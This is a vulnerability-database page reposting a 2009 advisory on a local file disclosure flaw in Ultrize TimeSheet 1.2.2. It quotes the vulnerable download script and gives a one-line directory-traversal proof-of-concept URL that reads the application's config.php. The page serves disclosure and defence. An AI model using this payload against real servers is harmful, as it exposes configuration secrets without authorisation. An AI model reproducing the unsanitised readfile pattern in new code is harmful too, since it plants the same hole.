Lucene search
+L

Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure

🗓️ 30 Jul 2009 00:00:00Reported by GoLd_MType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability in /actions/downloadFile.php. Exploit allows access to unauthorized file

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3151
30 Jul 200900:00
circl
cve
CVE
CVE-2009-3151
10 Sep 200918:00
cve
cvelist
Cvelist
CVE-2009-3151
10 Sep 200918:00
cvelist
euvd
EUVD
EUVD-2009-3134
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3151
10 Sep 200918:30
nvd
openvas
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter) - Active Check
26 Sep 201700:00
openvas
prion
Prion
Directory traversal
10 Sep 200918:30
prion
Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability
Code page  /actions/downloadFile.php

====
<?php
//** This script performs the actual file download

$fileName = $_REQUEST['fileName']; <--!!
$job_id = $_REQUEST['job_id']; <--!!
$fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!!

if (file_exists($fullFile))
{
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($fullFile));

    header('Content-Disposition: attachment; fileName="'.$fileName.'"');

    readfile($fullFile); <--!!
}
else
{
    header("HTTP/1.0 404 Not Found");
    print "<h1>File not found. </h1>";
    print $fileName;
    print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />";
}

?>
====

Poc
/actions/downloadFile.php?fileName=../config.php

          .___________..______     ____    ____  ___       _______
           |           ||   _  \    \   \  /   / /   \     /  _____|
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |
               |__|     | _| `._____|   |__| /__/     \__\ \______|

       ___       ______     ___       _______   _______ .___  ___. ____    ____
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|

# milw0rm.com [2009-07-30]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2009 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
EPSS0.02727
40